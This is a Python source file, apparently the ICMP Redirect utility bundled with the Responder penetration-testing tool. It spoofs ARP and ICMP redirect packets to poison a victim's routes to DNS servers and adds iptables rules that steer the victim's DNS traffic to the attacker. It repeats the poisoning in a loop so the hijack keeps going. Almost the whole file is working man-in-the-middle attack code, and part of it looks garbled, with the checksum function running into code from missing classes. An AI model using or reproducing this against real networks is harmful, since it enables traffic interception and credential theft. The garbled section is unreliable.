#! /usr/bin/env python # NBT-NS/LLMNR Responder # Created by Laurent Gaffie # Copyright (C) 2014 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys,socket,struct,optparse,random,pipes from socket import * from odict import OrderedDict from random import randrange from time import sleep from subprocess import call from pipes import quote parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0], ) parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP") parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") options, args = parser.parse_args() if options.Responder_IP is None: print "-i mandatory option is missing.\n" parser.print_help() exit(-1) if options.OriginalGwAddr is None: print "-g mandatory option is missing, please provide the original gateway address.\n" parser.print_help() exit(-1) if options.VictimIP is None: print "-t mandatory option is missing, please provide a target.\n" parser.print_help() exit(-1) if options.Interface is None: print "-I mandatory option is missing, please provide your network interface.\n" parser.print_help() exit(-1) if options.ToThisHost is None: print "-r mandatory option is missing, please provide a destination target.\n" parser.print_help() exit(-1) if options.AlternateGwAddr is None: AlternateGwAddr = options.Responder_IP #Setting some vars. Responder_IP = options.Responder_IP OriginalGwAddr = options.OriginalGwAddr AlternateGwAddr = options.AlternateGwAddr VictimIP = options.VictimIP ToThisHost = options.ToThisHost ToThisHost2 = options.ToThisHost2 Interface = options.Interface def Show_Help(ExtraHelpData): help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" help+= ExtraHelpData print help MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,Responder_IP) class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) def GenCheckSum(data): s = 0 for i in range(0, len(data), 2): q = ord(data[i]) + (ord(data[i+1]) << 8) f = s+q s = (f & 0xffff) + (f >> 16) return struct.pack("H", len(CalculateLen)) # Then CheckSum this packet CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) class ICMPRedir(Packet): fields = OrderedDict([ ("Type", "\x05"), ("OpCode", "\x01"), ("CheckSum", "\x00\x00"), ("GwAddr", ""), ("Data", ""), ]) def calculate(self): #Set the values self.fields["GwAddr"] = inet_aton(Responder_IP) # Then CheckSum this packet CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) class DummyUDP(Packet): fields = OrderedDict([ ("SrcPort", "\x00\x35"), #port 53 ("DstPort", "\x00\x35"), ("Len", "\x00\x08"), #Always 8 in this case. ("CheckSum", "\x00\x00"), #CheckSum disabled. ]) def ReceiveArpFrame(DstAddr): s = socket(AF_PACKET, SOCK_RAW) s.settimeout(5) Protocol = 0x0806 s.bind((Interface, Protocol)) OurMac = s.getsockname()[4] Eth = EthARP(SrcMac=OurMac) Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) Arp.calculate() final = str(Eth)+str(Arp) try: s.send(final) data = s.recv(1024) DstMac = data[22:28] DestMac = DstMac.encode('hex') PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) return PrintMac,DstMac except: print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) exit(1) def IcmpRedirectSock(DestinationIP): PrintMac,DestMac = ReceiveArpFrame(VictimIP) print '[ARP]Target Mac address is :',PrintMac PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) print '[ARP]Router Mac address is :',PrintMac s = socket(AF_PACKET, SOCK_RAW) Protocol = 0x0800 s.bind((Interface, Protocol)) Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) IPPackUDP.calculate() ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) ICMPPack.calculate() IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) IPPack.calculate() final = str(Eth)+str(IPPack) s.send(final) print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) def FindWhatToDo(ToThisHost2): if ToThisHost2 != None: Show_Help('Hit CRTL-C to kill this script') RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP) if ToThisHost2 == None: Show_Help(MoreHelp) IcmpRedirectSock(DestinationIP=ToThisHost) exit() def RunThisInLoop(host, host2, ip): dns1 = pipes.quote(host) dns2 = pipes.quote(host2) Responder_IPadd = pipes.quote(ip) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True) call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True) print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." while True: IcmpRedirectSock(DestinationIP=dns1) IcmpRedirectSock(DestinationIP=dns2) print "[+]Repoisoning the target in 8 minutes..." sleep(480) FindWhatToDo(ToThisHost2)